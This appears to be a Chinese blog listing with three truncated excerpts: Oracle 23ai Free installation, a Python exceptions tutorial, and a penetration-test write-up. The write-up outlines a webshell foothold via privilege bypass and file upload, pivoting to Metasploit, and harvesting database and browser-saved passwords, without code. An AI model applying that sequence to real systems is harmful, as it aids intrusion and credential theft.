准确的说&#xff0c;是Oracle 23ai Free Developer版&#xff0c;因为企业版目前只在云上&#xff08;OCI和Azure&#xff09;和ECC上提供。 前面我博客介绍了3种方法&#xff1a; Virtual ApplianceRPM安装Docker 今天介绍最近新出的一种方法&#xff0c;也是我最为推荐的…

Python 基础:异常

目录 一、异常概念二、处理异常2.1 抛出异常2.2 使用 try-except 代码块2.3 使用 try-except-else 代码块2.4 静默失败 三、总结 遇到看不明白的地方&#xff0c;欢迎在评论中留言呐&#xff0c;一起讨论&#xff0c;一起进步&#xff01; 本文参考&#xff1a;《Python编程&a…

记一次某单位的内网渗透测试

0x01 web打点 访问漏洞url:http://www.xx.xx.com进入某医疗系统 使用越权加文件上传拿到shell 0x02 内网渗透 192.168.xx.x 管理员 通过哥斯拉上线msf 上线后进行信息收集: 网卡信息、补丁信息、杀毒进程、用户在线情况、是否存在域、翻文件查找数据库密码、浏览器保存密码…